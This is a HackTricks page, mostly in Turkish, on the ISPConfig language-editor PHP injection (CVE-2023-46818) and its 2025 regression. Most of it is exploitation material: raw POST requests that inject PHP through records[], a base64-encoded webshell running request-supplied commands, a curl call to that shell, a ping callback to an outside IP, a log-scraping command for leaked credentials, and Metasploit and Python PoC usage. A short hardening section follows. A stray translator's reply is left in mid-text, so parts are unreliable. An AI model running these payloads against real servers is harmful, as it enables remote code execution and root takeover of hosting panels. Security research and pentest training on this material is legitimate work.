ISPConfig
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Genel Bakış
ISPConfig bir açık kaynaklı hosting control panelidir. Eski 3.2.x sürümlerinde, süper yönetici için etkinleştirildiğinde hatalı bir çeviri kaydı aracılığıyla rastgele PHP kodu enjeksiyonuna izin veren bir dil dosyası düzenleyici özelliği bulunuyordu. Bu, web sunucusu bağlamında RCE’ye yol açabilir ve PHP’nin nasıl çalıştırıldığına bağlı olarak yetki yükseltmesine neden olabilir.
Önemli varsayılan yollar:
- Web kök dizini genellikle
/var/www/ispconfig’tedir,php -Sile servis edildiğinde veya Apache/nginx üzerinden. - Admin UI HTTP(S) vhost üzerinde erişilebilir (bazı durumlarda yalnızca localhost’a bağlı olabilir; gerekirse SSH ile port yönlendirmesi yapın).
İpucu: Panel yerel olarak bağlıysa (ör. 127.0.0.1:8080), yönlendirin:
ssh -L 9001:127.0.0.1:8080 user@target
# then browse http://127.0.0.1:9001
Dil editörü PHP kod enjeksiyonu (CVE-2023-46818)
- Etkilenen: ISPConfig up to 3.2.11 (fixed in 3.2.11p1)
- Önkoşullar:
- Built-in superadmin hesabı
adminile giriş (satıcıya göre diğer roller etkilenmiyor) - Language editor etkin olmalı:
admin_allow_langedit=yesiçinde/usr/local/ispconfig/security/security_settings.ini - Etkisi: Kimlik doğrulanmış admin, arbitrary PHP enjekte edebilir; bu PHP bir dil dosyasına yazılır ve uygulama tarafından çalıştırılır, web bağlamında RCE elde edilir
Referanslar: NVD entry CVE-2023-46818 ve vendor advisory link aşağıdaki Referanslar bölümünde.
Manuel istismar akışı
- CSRF tokenları elde etmek için bir language file açın/oluşturun
Formu başlatmak ve HTML yanıtından CSRF alanlarını (csrf_id, csrf_key) ayrıştırmak için ilk POST isteğini gönderin. Örnek istek yolu: /admin/language_edit.php.
- records[] üzerinden PHP enjekte edin ve kaydedin
CSRF alanlarını ve kötü amaçlı bir çeviri kaydını içeren ikinci POST isteğini gönderin. Minimal komut yürütme denemeleri:
POST /admin/language_edit.php HTTP/1.1
Host: 127.0.0.1:9001
Content-Type: application/x-www-form-urlencoded
Cookie: ispconfig_auth=...
lang=en&module=admin&file=messages&csrf_id=<id>&csrf_key=<key>&records[]=<?php echo shell_exec('id'); ?>
Out-of-band test (ICMP’yi gözlemleyin):
records[]=<?php echo shell_exec('ping -c 1 10.10.14.6'); ?>
- Dosyalar yazma ve webshell bırakma
file_put_contents kullanarak web-erişilebilir bir yol altında bir dosya oluşturun (ör. admin/):
records[]=<?php file_put_contents('admin/pwn.txt','owned'); ?>
Ardından POST gövdesindeki kötü karakterlerden kaçınmak için base64 kullanan basit bir webshell yazın:
records[]=<?php file_put_contents('admin/shell.php', base64_decode('PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsiY21kIl0pIDsgPz4K')); ?>
Çevirmemi istediğiniz ispconfig.md dosya içeriğini buraya yapıştırın; talimatlara uygun şekilde çevirisini yapacağım.
curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id'
If PHP is executed as root (e.g., via php -S 127.0.0.1:8080 started by root), this yields immediate root RCE. Otherwise, you gain code execution as the web server user.
2025 regresyonu (ISPConfig 3.3.0 / 3.3.0p1)
Dil editörü hatası 3.3.0/3.3.0p1’de tekrar ortaya çıktı ve 3.3.0p2’de düzeltildi. Önkoşullar değişmedi (admin_allow_langedit ve admin girişi). Aynı yama ayrıca bir monitor XSS ve world-readable rotated logs sorununu da giderdi.
Notlar:
- 3.3.0/3.3.0p1’de,
/usr/local/ispconfig/interface/log/altındaki world-readable rotated logs, debug logging etkinleştirilmişse kimlik bilgilerini leak edebilir:
find /usr/local/ispconfig/interface/log -type f -perm -004 -name '*.gz' -exec zcat {} + | head
- Exploit adımları CVE-2023-46818 ile eşleşiyor; 3.3.0p2 dil düzenlemeden önce ek kontroller ekliyor.
Python PoC
Kullanıma hazır bir exploit token yönetimini ve payload teslimatını otomatikleştirir:
Örnek çalıştırma:
python3 cve-2023-46818.py http://127.0.0.1:9001 admin <password>
Metasploit modülü (yayınlandı Temmuz 2025)
Rapid7, exploit/linux/http/ispconfig_lang_edit_php_code_injection ekledi; bu, sağlanan admin hesabı system-config haklarına sahipse admin_allow_langedit’i otomatik olarak etkinleştirebilir.
use exploit/linux/http/ispconfig_lang_edit_php_code_injection
set RHOSTS 10.10.10.50
set RPORT 8080
set USERNAME admin
set PASSWORD <admin_pass>
set TARGETURI /
run
Modül, records[] aracılığıyla base64-encoded payload yazar ve çalıştırır; bu da bir PHP Meterpreter veya custom payload sağlar.
Sertleştirme
- Orijinal sorun için 3.2.11p1 veya daha yeni sürüme, 2025 regresyonu için ise 3.3.0p2 veya daha yeni sürüme yükseltin.
- Dil editörünü kesinlikle gerekmedikçe devre dışı bırakın:
admin_allow_langedit=no
- Paneli root olarak çalıştırmaktan kaçının; PHP-FPM veya web sunucusunu ayrıcalıkları düşürecek şekilde yapılandırın
- Yerleşik
adminhesabı için güçlü kimlik doğrulamasını zorunlu kılın
Referanslar
- ISPConfig 3.2.11p1 Released (fixes language editor code injection)
- CVE-2023-46818 – NVD
- bipbopbup/CVE-2023-46818-python-exploit
- HTB Nocturnal: Root via ISPConfig language editor RCE
- ISPConfig 3.3.0p2 Released – Security Update
- CXSecurity WLB-2025070017 – Metasploit module for ISPConfig language_edit.php
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.


